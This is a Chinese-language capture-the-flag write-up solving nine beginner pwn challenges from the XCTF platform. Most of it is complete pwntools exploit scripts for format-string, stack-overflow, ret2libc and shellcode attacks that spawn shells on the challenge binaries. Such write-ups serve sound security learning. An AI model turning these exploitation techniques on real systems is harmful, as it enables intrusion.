攻防世界新手區pwn writeup

CGfsb

  • 題目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050
  • 下載文件後,使用file命令查看。
  • 32位的文件,用ida打開,F5查看僞代碼。
  • printf漏洞:https://www.cnblogs.com/cfans1993/articles/5619134.html
  • 思路:
    • 找到pwnme的地址
    • 把pwnme的地址寫到s裏面
    • printf輸出8個字節,而後用%n把8寫入到pwnme裏面
  • 步驟:
    • 利用ida直接找到pwnme的地址,爲0x804a068
    • 找到s相對format參數的偏移量,能夠看到,傳遞message的變量s,被存儲在0xbffff628地址內,此時0xbffff600對應printf的format參數在棧中的位置,因此偏移量爲10,對應構造%10$n
    • 構造payload:(pwnme地址)+"aaaa"+"%10$n"
  • pwntools:
    from pwn import *

    context.log_level = 'debug' 
    DEBUG = int(sys.argv[1])

    if DEBUG == 1: 
        p = process('./cgfsb') 
    else: 
        p = remote('111.198.29.45',58350)

    pwnme_addr = 0x0804A068

    payload1 = "aaaa" 
    payload2 = p32(pwnme_addr) + 'aaaa%10$n'

    p.recvuntil('please tell me your name:\n') 
    p.sendline(payload1)

    p.recvuntil('leave your message please:\n') 
    p.sendline(payload2)

    print p.recv() 
    print p.recv()

 

  • 運行結果:

When did you born

  • 文件類型
  • 運行測試
  • IDA查看反彙編僞代碼,v5等於1926能拿到flag,但以前有一個判斷,不讓輸入1926
  • IDA調試,觀察棧
    • 輸入生日1111,在棧中找到v5的位置
    • 輸入名字abcdefghijk
    • 看到v4部分覆蓋了v5,因此咱們要構造的payload格式應該是8chars+'\x86'+'\x07'
  • pwntools代碼
from pwn import *
p=remote(ip,port)
p.sendafter('Your Birth?',str(0)+'\n') 
p.sendafter(' Your Name?','a'*8+p64(1926)) 
p.interactive()

 

  • 運行結果

hello_pwn

  • 下載後反彙編用IDA查看僞代碼,發現有一個函數用於顯示flag,重命名爲showflag
  • 顯然,只要把dword_60106C賦值爲1853186401就能夠了,咱們發現,輸入aaaaaaaaaaaaaaaaa,其中一部分會覆蓋dword_60106C,因此payload的格式應該是4chars+1853186401
  • pwntools代碼
from pwn import *
p = process("./637f5c201bf94c128c8c22e4d6e9cef3")
p.sendline('a'*4+p32(1853186401))
p.interactive()

 

  • 本地測試
  • 遠程

level0

  • 檢查保護
  • 反彙編後發現callsystem函數調用了shell
  • vulnerable_function函數存在棧溢出漏洞,考慮覆蓋返回值
  • 輸入128個a和bbbbcccc後,能夠看到,恰好到達返回地址,因此payload格式爲128+8個char+callsystem地址
  • exp以下
from pwn import *

p = remote('111.198.29.45',54531)
elf = ELF("./level0")
sysaddr = elf.symbols['callsystem']
payload = 'a'*(0x80 + 8) + p64(sysaddr)
p.recv()
p.send(payload)
p.interactive()

 

  • 運行結果

level2

  • 查看程序保護
  • IDA查看反彙編僞代碼,存在棧溢出漏洞
  • 程序中含有system函數和"/bin/sh"字符串
  • exp以下
from pwn import *

elf = ELF('./level2')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
 
payload = 'A' * (0x88 + 0x4) + p32(sys_addr) +     p32(0xdeadbeef) + p32(sh_addr)

#io = remote('111.198.29.45',40579)
io = process("./level2")
io.sendlineafter("Input:\n",payload)
io.interactive()
io.close()

 

guess num

  • 查看文件類型
  • 檢查程序保護
  • 運行測試
  • IDA反彙編
  • 能夠看到,每次數字都是一個隨機數,並且隨機數的種子是在gets以前的,因此咱們可能有機會覆蓋seed
  • 查看棧,能夠發現,輸入name確實能夠覆蓋到seed
  • exp:(循環裏用sendafter和recvuntil都跑不動,只好手動了)
from pwn import *
from ctypes import *

elf = ELF('./guess')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
io = process('./guess')
#io = remote("111.198.29.45",58174)

payload = 32 * 'a' + p64(1)
io.sendafter("Your name:", payload)

libc.srand(1)

for i in range(10):
    num = str(libc.rand()%6+1)
    print num+" ",

io.interactive()

 

  • 運行結果

cgpwn2

  • 檢查保護
  • 反彙編
  • 咱們能夠看到程序裏面有system函數,可是沒有"/bin/sh"字符串,可是name變量是全局的,咱們能夠嘗試把字串放到name變量裏
  • exp:
from pwn import *

elf = ELF('./cgpwn2')
io = process('./cgpwn2')
#io = remote("111.198.29.45",58174)

payload = 42 * 'a' + p32(elf.symbols['system']) + p32(0xdeadbeef) + p32(0x0804A080)
shstr = "/bin/sh"

io.recvuntil("name")
io.sendline(shstr)
io.recvuntil("here:")
io.sendline(payload)

io.interactive()

 

int overflow

  • 查看保護
  • 運行測試
  • 反彙編,發現有一個函數已經有顯示flag的功能了,可是並無被調用,能夠考慮返回地址溢出,在密碼檢查的函數中,咱們看到,字符串長度被賦給了uint8類型,這裏會發生截斷,而在正確的分支,s字符串會被strcpy使用。


  • 整數溢出:因爲int是32位,而int8是8位,咱們能夠在最後8位僞造長度,騙過長度檢測,使用"0000 1000"(8)做爲最後8位。
  • 棧中返回地址被覆蓋(長度263)
  • payload格式:0x14個char + 4個char + 地址(佔4個char) + 0xeb個char
  • exp
from pwn import *

elf = ELF('./intover')
io = process('./intover')
#io = remote("111.198.29.45",51548)

io.recvuntil("choice:")
io.sendline('1')
io.recvuntil("username:")
io.sendline("aaa")
io.recvuntil("passwd")
io.sendline('a'*0x14 + 'a'*4 + p32(elf.symbols['what_is_this']) + 0xea*'a')
io.interactive()

 

string

  • 查看保護
  • 反彙編,發現一個格式化字符串漏洞,一處強制轉化位函數指針

  • 咱們只要把shellcode寫入v1就能夠了
  • 逆推,咱們要使a1[0]和a1[1]同樣
  • a1在上一級函數中是一個指針
  • a1也就是在main中的v4,也就是v3,咱們經過secret[0]獲得地址
  • 這裏能夠在v2寫入v3[0]的地址,而後經過格式化字符串漏洞,在v3[0]中寫入85,使v3[0]==v3[1]
  • 尋找format在棧中的位置,偏移量爲7
  • exp:
from pwn import *

#io = remote('111.198.29.45','41410')
io = process("./string")
io.recvuntil("secret[0] is ")
v3_0_addr = int(io.recvuntil("\n")[:-1], 16)
io.recvuntil("character's name be:")
io.sendline("tiumo")
io.recvuntil("east or up?:")
io.sendline("east")
io.recvuntil("there(1), or leave(0)?:")
io.sendline("1")
io.recvuntil("'Give me an address'")
io.sendline(str(v3_0_addr))
io.recvuntil("you wish is:")
io.sendline("%85c%7$n")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())

io.recvuntil("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()

 

  • 運行結果:

level3

#-*-coding:utf-8-*-
from pwn import *

#io = process('./level3')
io = remote('111.198.29.45',55186)
elf = ELF('./level3')
libc = ELF('./libc_32.so.6')

write_plt = elf.plt['write']
vul_addr = elf.symbols['vulnerable_function']
got_addr = elf.got['write']

payload1="a"*0x88 + 'aaaa' + p32(write_plt) + p32(vul_addr) + p32(1) + p32(got_addr) + p32(4)
io.recvuntil("Input:\n")
io.sendline(payload1)
write_addr = u32(io.recv(4))
print write_addr

libc_write = libc.symbols['write']
libc_system = libc.symbols['system']
libc_sh = libc.search('/bin/sh').next()
system_addr = write_addr + (libc_system-libc_write) #用相對地址計算真實地址
sh_addr = write_addr + (libc_sh-libc_write)

payload2 = 'a'*0x88 + 'aaaa' + p32(system_addr) + 'aaaa' + p32(sh_addr)
io.recvuntil("Input:\n")
io.sendline(payload2)
io.interactive()
相關文章
相關標籤/搜索